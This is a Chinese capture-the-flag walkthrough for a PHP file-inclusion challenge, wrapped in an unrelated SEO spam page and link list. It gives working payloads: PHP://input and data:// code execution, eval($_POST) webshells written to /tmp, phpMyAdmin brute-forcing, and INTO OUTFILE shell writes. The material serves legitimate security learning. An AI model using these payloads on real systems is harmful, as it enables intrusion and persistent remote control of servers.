当前位置: 首页 > news >正文

网站后台管理系统功能电商流量推广

网站后台管理系统功能,电商流量推广,大理州建设局投诉网站,本溪网站开发公司知识点#xff1a;代码审计 文件包含 伪协议 伪协议知识点补充#xff1a; 在PHP中#xff0c;伪协议#xff08;Pseudo Protocols#xff09;也被称为流包装器#xff0c;这些伪协议以 php://开头#xff0c;后面跟着一些参数#xff0c;用于指定要执行的操作或需要…知识点代码审计 文件包含 伪协议 伪协议知识点补充 在PHP中伪协议Pseudo Protocols也被称为流包装器这些伪协议以 php://开头后面跟着一些参数用于指定要执行的操作或需要访问的资源。 ​ 伪协议表明这些协议并不是一个真实的外部协议例如http或ftp。PHP伪协议的出现是为了提供一个统一的、简洁的接口来处理不同的数据流。这些伪协议可以被看作是一种桥梁它们允许开发者使用常规的文件操作函数来处理各种不同的数据流。 php://input是PHP提供的一个伪协议允许开发者访问POST请求的原始内容对于POST请求数据PHP提供了 $_POST 和 $FILES 超全局变量在客户端发起POST请求时PHP将自动处理POST提交的数据并将处理结果存放至 $_POST 和 $FILES 中。 一、解题思路 step 1 打开靶机审题 打开靶机得到一串代码开始代码审计 ?php show_source(__FILE__); echo $_GET[hello]; $page$_GET[page]; while (strstr($page, php://)) {$pagestr_replace(php://, , $page); } include($page); ? step 2 代码审计 show_source(__FILE__); show_source() 函数将指定文件的内容以语法高亮的形式输出 strstr($page, php://) strstr()函数 strstr(字符串,你要搜索的内容,false) 括号里面有三个部分 1.字符串也就是上面的$page。例如在url后面添加 /?page123456那么$page的内容就是123456。 2.你要搜索的内容也就是题目中的php://。意思就是该函数会从$page的内容里去寻找php://而这里是一个while语句一旦查找到php://那么就会执行大括号里面的语句。 例如我的url是 http://61.147.171.105:53858/?pagephp.php://input 那么传入的$page的内容就是php://input而前面的“php.”就会被丢弃。 3.false我这里写false的原因是该参数默认是false。也就是一般情况只需要写前两个参数即可。false代表匹配到php://之后会输出php://和之后的内容。而如果为true则会输出“php.”也就是php://前面的内容。 注strstr函数对大小写敏感也就是会区分大小写。 str_replace(php://, , $page) str_replace()函数 str_replace函数这个函数的作用是将匹配到的php://全部替换为空。 例如str_replace(“1”“2”“123”)会输出223。因为会将全部的1替换为2。同样区分大小写 str_replace(php://, , $page) 即会将 php:// 替换为 $page 中的值。 总之程序过滤掉了page参数传入php:// step 3 五个解法 解法一 使用php://input 伪协议大小写绕过/原因strstr函数区分大小写 php://input可用于执行php代码使用post方式传递代码即可。这里再将php改为PHP 构建url为 /?pagePHP://input 使用hackbar或bp抓包用post方式传递php代码。 ?php system(ls); ? 列出所有文件 fl4gisisish3r3.php 疑似flagcat一下得到了真的flag 解法二 data://伪协议执行命令利用 既然过滤了php://的伪协议 我们可以使用其他协议来替代这里使用data://伪协议 data://伪协议php5.2.0起数据流封装器开始有效主要用于数据流的读取。如果传入的数据是PHP代码就会执行代码 使用方法: data://text/plain;base64,xxxx(base64编码后的数据) ?php system(dir)? base64编码后为 PD9waHAgc3lzdGVtKCJkaXIiKT8 http://61.147.171.105:64764/?pagedata://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2b (注意编码后的号要URL编码) ?php system(cat fl4gisisish3r3.php)? base64编码后使用 http://61.147.171.105:64764/?pagedata://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg 查看源码得到flag 解法三 data://伪协议转木马 ?php eval($_POST[x]); ? base64加密后拼接 http://61.147.171.105:64764/?pagedata://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg 菜刀连接即可: 解法四 抓包后再最下面添加一段代码蚁剑 代码如下 ?PHP fputs(fopen(/tmp/shell.php,w),?php eval($_POST[x])?);? 注意点这里一句话木马[]里没有单引号蚁剑链接先测试链接 Tipslinux默认tmp是可写目录所以尝试一句话然后蚁剑链接即可看到文件 解法四 数据库写入一句话木马这里没弄明白在哪里写入一句话木马望大佬指条明路 dirsearch扫描获得phpmyadmin文件怪怪的传参进去看看情况得到如下界面 抓包爆破用户名和密码 得到用户名为root密码为空 进入数据库执行这条命令查看secure_file_priv是否为空为空则可以写数据 SHOW VARIABLES LIKE secure_file_priv 显示为空 然后写入一句话马用蚁剑连接 SELECT ?php eval($_POST[xiaohua]); ? INTO OUTFILE /tmp/test1.php 注secure_file_priv 为系统变量如果是null即没设置允许操作的目录所以没法导出到文件 解法五 通过hello参数回显新方法但这里模棱两可这里也需要大佬指路 payload如下(flag文件名由上面方法可以得到) http://61.147.171.105:64764/?pagehttp://127.0.0.1?hello?show_source(fl4gisisish3r3.php);? 大概理解一下 首先使page参数为本页代码绕过判断会执行include文件包含本页代码这时传入的hello参数会被视为php代码执行
http://www.hkea.cn/news/14337830/

相关文章:

  • dw网站制作模板wordpress建地方门户
  • 阿里巴巴网站运营WordPress如何设置邮箱验证
  • 珠海网站seo网站效益分析
  • 装饰网站建设软件下载西宁网站设计建设
  • wordpress分类目录添加报错_标签不能添加郑州seo博客
  • 外贸网站每天多少ipLinux备份wordpress
  • 静态的网站平面设计网站建设
  • 官方网站建设费用做机械设备销售的那个网站好
  • 学会网站建设安徽 网站信息内容建设
  • 做家政网站公司简介湖南网上注册公司流程
  • 网站推广计划做旅游网站的目的是什么
  • 想自己做网站怎么做信用网站标准化建设方案
  • 网站托管 建设方案什么是网络营销?网络营销的目的有哪些内容?
  • 制作酒店网站做网站js框架
  • 建设美团网站贵港seo关键词整站优化
  • wordpress 大型网站技智网站建设小编
  • 为客户网站做产品描述自己建网站详细流程
  • 江阴市建设局网站做课件的网站
  • 网站增长期怎么做网站建设的法律依据
  • 科技网站配色网页制作基础教程步骤
  • 做淘客必须有自己内部网站吗网站开发全流程
  • 合肥做双语外贸网站赞助网站怎么做
  • 北京企业建设网站公司简介给别人做网站别人经营违法
  • 网站制作是不是要一个后台wordpress 集群部署
  • 网上做设计的网站网站建设方案书 百度
  • 怎么样让网站宣传自己wordpress教程 网站标题
  • phpcms 移动网站模板wordpress 上传目录权限设置密码
  • 模板网站建设珠海盐城市亭湖区城乡建设局网站
  • 天津市建行网站网站跟域名备案数量
  • 南京做网站外包百度一下你知道